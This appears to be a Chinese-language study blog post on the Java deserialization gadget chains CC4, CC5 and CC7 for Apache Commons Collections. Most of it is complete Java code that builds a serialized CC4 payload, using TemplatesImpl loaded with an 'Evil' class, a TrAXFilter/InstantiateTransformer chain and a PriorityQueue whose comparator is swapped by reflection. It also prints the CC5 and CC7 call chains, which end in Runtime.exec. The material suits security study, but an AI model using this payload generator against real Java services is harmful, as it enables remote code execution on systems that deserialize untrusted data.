Java反序列化之CC4、CC5、CC7

懒狗了,把这几个一起说一下吧。反正没改多少。

CC4

依赖

用的是cc4.0的依赖。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

<dependencies>
<!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifacFtId>
<version>4.0</version>
</dependency>

<!-- https://mvnrepository.com/artifact/org.javassist/javassist -->
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.22.0-GA</version>
</dependency>

</dependencies>

这里为了巩固前面的优先队列部分,这里重新来一遍:
先大概写个demo,不对数据进行修改:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws Exception {
// * 执行代码
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameField = tc.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "Natro92");
Field byteField = tc.getDeclaredField("_bytecodes");
byteField.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class"));
byte[][] codes = {code};
byteField.set(templates, codes);

// * 动态加载
InstantiateTransformer initiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{ templates });
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
initiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue queue = new PriorityQueue<>(transformingComparator);

serialize(queue);
deserialize("secret.bin");


}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}
}

但是这样只有正常运行,并没有执行字节码。动态调试一下。
从优先队列的readObject方法开始。
image.png
我们想进入到for循环中
image.png
这个size能注意到是0,测试计算(alt+F8)右移一位仍然是零减一小于0,就导致无法进入。
这里就需要修改掉size的值,比如往队列里面加元素。(当然你这里直接改也行。)

1
2
queue.add(1);
queue.add(2);

image.png
但是添加之后仍然报错。看到报错信息可以发先,再siftUp这里面也调用了Comparator这个函数。
image.png
因此不能让_tfactory为空

1
2
3
4
5
6
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());

但是这里似乎是在本地执行的,不能这么解决。
需要先给TransformingComparator上个测试的ConstantTransformer,然后再用反射赋值。
也就是这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
package com.natro92;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
public static void main(String[] args) throws Exception {
// * 执行代码
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_name", "Natro92");
byte[] code = Files.readAllBytes(Paths.get("D:\\Workstation\\CodeWorkSpace\\Java\\JavaSec\\Deserialization\\CommonCollections\\cc4Test\\Evil250546845304900.class"));
byte[][] codes = {code};
setFieldValue(templates, "_bytecodes", codes);
// setFieldValue(templates, "_tfactory", new TransformerFactoryImpl());
// * 动态加载
InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);
TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1));
PriorityQueue queue = new PriorityQueue<>(transformingComparator);
queue.add(1);
queue.add(2);

Class c = transformingComparator.getClass();
Field field = c.getDeclaredField("transformer");
field.setAccessible(true);
field.set(transformingComparator, chainedTransformer);

serialize(queue);
deserialize("secret.bin");
}

// * 反射
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception {
Class<? extends Object> _class = object.getClass();
Field declaredField = _class.getDeclaredField(fieldName);
declaredField.setAccessible(true);
declaredField.set(object, value);
}

// * 序列化
public static void serialize(Object object) throws Exception {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("secret.bin")));
objectOutputStream.writeObject(object);
}

// * 反序列化
public static Object deserialize(String fileName) throws Exception {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(fileName)));
return objectInputStream.readObject();
}
}

这就是cc4。
cc5和7与前几个大同小异,这里就不多叙述了。

CC5

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
Gadget chain:
ObjectInputStream.readObject()
BadAttributeValueExpException.readObject()
TiedMapEntry.toString()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

Requires:
commons-collections

CC7

image.png

1
2
3
4
5
6
7
8
9
10
11
12
13
14
Payload method chain:

java.util.Hashtable.readObject
java.util.Hashtable.reconstitutionPut
org.apache.commons.collections.map.AbstractMapDecorator.equals
java.util.AbstractMap.equals
org.apache.commons.collections.map.LazyMap.get
org.apache.commons.collections.functors.ChainedTransformer.transform
org.apache.commons.collections.functors.InvokerTransformer.transform
java.lang.reflect.Method.invoke
sun.reflect.DelegatingMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke
sun.reflect.NativeMethodAccessorImpl.invoke0
java.lang.Runtime.exec

image.png